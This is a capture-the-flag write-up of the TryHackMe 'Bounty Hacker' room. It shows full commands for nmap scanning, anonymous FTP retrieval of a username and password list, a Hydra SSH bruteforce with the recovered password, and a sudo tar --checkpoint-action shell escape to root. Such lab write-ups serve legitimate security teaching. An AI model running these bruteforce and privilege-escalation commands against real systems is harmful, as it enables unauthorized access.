The web server was a dead end. The real story was sitting on port 21, waiting for anyone who didn’t need a password to find it.
You’ve been challenged to prove you’re the most elite hacker in the solar system.
The box doesn’t make it hard. It makes it honest. No CVEs, no rabbit holes, no bruteforce-for-hours nonsense. Just three ports, two text files, and a tar binary that GTFOBins knows very well.
The machine handed me everything. I just had to know where to look, and what to do when the first shell died immediately.
Let’s get into it.
Reconnaissance
nmap -sC -sV -oN bountyhacker.nmap 10.0.0.5
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache 2.4.41
Three ports. My first instinct was port 80, there’s usually something there. Visited the page, checked source, ran a quick directory scan.
Nothing. A static page with Cowboy Bebop flavor text and zero attack surface.
The web server was bait. Port 21 is where the box actually starts.
FTP — Anonymous and Generous
ftp 10.0.0.5
# Name: anonymous
# Password: [blank]
No credentials needed. Anonymous login accepted immediately.
ls
locks.txt
task.txt
Two files. Downloaded both:
get locks.txt
get task.txt
task.txt opened first, a note signed by lin. Not a hint. A username, handed directly.
locks.txt opened second, a long list of strings that looked like lock combinations. Passwords. A ready-made wordlist sitting on an open FTP server, written by the same person whose name was just signed on the note above it.
The FTP server just gave me a username and a password list in the same breath.
Time to use them.
SSH Bruteforce — Hydra Does the Work
Port 22 is open. Username is lin. Password is somewhere inside locks.txt. The math is simple:
hydra -l lin -P locks.txt ssh://10.0.0.5 -t 4
Hydra chews through the list. One password matches:
[22][ssh] host: 10.0.0.5 login: lin password: RedDr4gonSynd1cat3
ssh [email protected]
# RedDr4gonSynd1cat3
Shell as lin. user.txt is right there in the home directory.
One flag down. The FTP server gave me everything I needed to get here. I just had to pick it up.
Privilege Escalation — tar, GTFOBins, and a Shell That Didn’t Want to Stay
sudo -l
User lin may run the following commands:
(root) NOPASSWD: /usr/bin/tar
tar with sudo and no password. GTFOBins has this documented under shell escape, the checkpoint-exec technique abuses tar's --checkpoint-action flag to execute arbitrary commands mid-archive operation.
First attempt, straight from GTFOBins:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Shell spawned. Then died immediately.
The /bin/sh process didn't survive in this environment. Not uncommon, some shells drop instantly depending on how the session is configured. The fix: tell it explicitly to stay alive and do something useful first.
sudo tar -cf /dev/null /root/root.txt --checkpoint=1 --checkpoint-action=exec="bash -c 'cat /root/root.txt; exec /bin/bash'"
This time: flag printed, bash stayed open, root shell confirmed.
whoami
root
The box didn’t expect anyone to refine the command. It expected copy-paste. I refined it.
Bounty Hacker is a room on TryHackMe. This writeup is for educational purposes only. All testing performed on dedicated lab infrastructure with explicit authorization.
TryHackMe — Bounty Hacker: The FTP Server Was Talking. I Just Listened. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.
SOCIAL SHARE CARD GENERATOR